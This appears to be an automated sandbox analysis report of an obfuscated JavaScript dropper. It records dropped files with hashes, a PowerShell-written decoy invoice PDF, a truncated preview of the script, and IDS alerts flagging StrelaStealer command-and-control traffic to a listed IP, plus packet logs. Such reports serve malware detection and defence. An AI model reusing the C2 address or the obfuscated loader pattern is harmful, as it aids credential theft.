SHA-512:	D123701CE5007E8446A9258271A3EF89516763D5A34C2447699D84506BEEB6D8793107E9FFF7D4EEC72898E2D442D0941A38CA6EBC802AF63CC9310BD9AF33DA
Malicious:	false
Preview:	SessionID=11e19d39-0c64-4c02-b5cb-1687967d18f1.1736575894028 Timestamp=2025-01-11T01:11:34:028-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=11e19d39-0c64-4c02-b5cb-1687967d18f1.1736575894028 Timestamp=2025-01-11T01:11:34:035-0500 ThreadID=7416 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=11e19d39-0c64-4c02-b5cb-1687967d18f1.1736575894028 Timestamp=2025-01-11T01:11:34:036-0500 ThreadID=7416 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=11e19d39-0c64-4c02-b5cb-1687967d18f1.1736575894028 Timestamp=2025-01-11T01:11:34:036-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=11e19d39-0c64-4c02-b5cb-1687967d18f1.1736575894028 Timestamp=2025-01-11T01:11:34:036-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.410977280586897
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRV:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRL
MD5:	3352C86491C668FE84D975038D3F3143
SHA1:	822A71F9DD87DA271A8C65D2689ACB706BFC2F55
SHA-256:	189A5EB323D989956A48D40153D22EA55AB449D5B716C6C34812F14A41950727
SHA-512:	571A1C667DBEED418A1C4B4BBF4A61E33321C0F7224FB34D9AD657205F56F4541307B2959FA85B06BB8FD2ADC6CD41597A7DAC57710F882F0B69866CD2FCDD9C
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4704a63c-fc0a-4c3a-8c51-97c0647b0cfe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yKwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:bwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	D1BC27E013E1129B27D3BE5F4567D495
SHA1:	D2D1B846698798C80E57917477F7B98054B48925
SHA-256:	3EF526805CA6690C3E477DFD81BFD4B28B8D82CCA8E3641C3EDA0EC37F332DDC
SHA-512:	EBCEFA11F5BC59D602D90177B460B0F0DA59534D347FFBAF1A7C78118A3A221A02284E0A34164F6C0710C1B4E88504C4A20DA69AC998B5EE613A017B208316CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c4ad0d32-5d79-4e27-ae33-79902994d3cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dacd2d99-d7df-49d1-8302-09d6b4fd6109.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLaGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLaGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	13F55292D0735B9ABD4259B225D210FC
SHA1:	810CC5D545BFA11D2825F6E1DFA69176794DA7EC
SHA-256:	8C3FFEA68963D108599E8C5AE20DE6E9C473BF33197A03A9A7DDCD0F25A6C7F6
SHA-512:	4F54EDA9EB61172A5243DAA718CFF42A0BF079CC0FA7BE3553CC8B79772763B49F530DD6B54A9D595C4F46B8416ADF7D5C8DAD58FC43A5C651258E669DC375DA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\deae814a-4540-466f-ad1c-66f45df151e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17729), with CRLF line terminators
Entropy (8bit):	4.924691483906916
TrID:
File name:	24233226922003220721.js
File size:	21'348 bytes
MD5:	de1577853f8bd4b701c23082af30633f
SHA1:	5e520a0a26ca46e7422b7091f7f1ae081f5c6cac
SHA256:	56e9c2c0c808a37406e890cc5095d73db9f5786eb6f5db4bdd1c5b422fc53b9a
SHA512:	a7554382f68507bf1d88cb8b4edf64a2cc41aa101bdcf0b5854646e727ab209a59dfaae18b995047e5018e07b1007846b2a8e2c54a44d2e71135a003dd771bac
SSDEEP:	384:l8mm8pJdC3JF5c1GlQ7HmyjwtjRRgPjAdvWcVDREw/S:l8mm8dC3JF5cPHmyjwtViEvWcVdEwq
TLSH:	2AA243C0DC4BA2679BD985F1EB471CCB93AE827C49A0719FA9431759B54CBD860F30B4
File Content Preview:	function lbrwf(){rbrnsa=[1031,3079,5127,4103,2055,3072];var mdwaagnmg=this[nsptffkdf+ldpjjqndv+upzuyjweh+zjbiwjabz+eipsdme+poqbjsl+pycssuuow+ngkockbjq](this[kykyrs+hubvme+sisyj+upzuyjweh+nthazsjpj+nsptffkdf+ngkockbjq][wxogy+upzuyjweh+eipsdme+ldpjjqndv+ngk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:11:30.074449+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T07:11:30.074449+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T07:11:32.496581+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:11:29.290256977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:29.295224905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:29.295329094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:29.298147917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:29.303329945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074368954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074394941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074414015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074449062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.074641943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074701071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074708939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.074717999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074734926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074750900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074763060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.074767113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.074789047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.075279951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.075351000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.079412937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.119765043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.119786024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.119821072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.168468952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.195771933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.195869923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.195888042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.195931911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.196007013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.196080923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.196336985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.196355104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.196403980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.196501017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.196516991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.196568012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.196650028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.196959972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197021008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.197050095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197067022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197109938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.197398901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197873116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197890043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197906017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.197926044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.197952986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.198179007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.198628902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.198654890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.198671103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.198674917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.198717117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.198925972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.199472904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.199520111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.250003099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.285425901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.285475969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.285491943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.285542011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.285584927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.317296982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317380905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317452908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.317634106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317708969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317724943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317754984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.317833900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317904949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.317946911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.317965031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318048000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.318196058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318212032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318250895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.318397999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318492889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318507910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318535089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.318640947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318665028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.318689108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.319087982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319139957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.319166899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319183111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319221020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.319374084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319463015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319504976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.319542885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319559097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319600105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.319796085 CET	80	49699	193.143.1.205	192.168.2.7
